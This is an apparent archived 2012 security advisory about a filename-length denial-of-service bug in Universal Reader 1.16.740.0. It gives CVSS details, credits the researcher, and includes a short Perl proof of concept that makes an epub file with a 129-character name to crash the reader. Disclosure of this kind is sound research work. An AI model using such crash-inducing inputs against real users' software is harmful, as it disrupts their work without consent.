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Universal Reader 1.16.740.0 Denial Of Service

Universal Reader 1.16.740.0 Denial Of Service
Posted May 14, 2012
Authored by demonalex

Universal Reader version 1.16.740.0 suffers from a filename related denial of service vulnerability.

tags | exploit, denial of service
MD5 | aabef4cd6b8f758e4e84deec36655328

Universal Reader 1.16.740.0 Denial Of Service

Change Mirror Download
Title: Universal Reader Filename Denial Of Service Vulnerability
Software : Universal Reader

Software Version : 1.16.740.0 (product version: 0.63.538)

Vendor: http://uread.superfection.com/

Vulnerability Published : 2012-05-12

Vulnerability Update Time :

Status :

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)

Bug Description :
Universal Reader is a online/offline reader for reading polytype e-book files.
Universal Reader contains any denial of service vulnerability about openning long-name files. Success in exploiting this vulnerability will crumble uread.exe process.

Proof Of Concept :
-----------------------------------------------------------
#!/usr/bin/perl -w
$filename="a"x129;
print "------Generate testfile \"a\"x129.epub------\n";
open(TESTFILE, ">$filename.epub");
sleep(3);
close(TESTFILE);
print "------Complete!------\n";
exit(1);
-----------------------------------------------------------

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK
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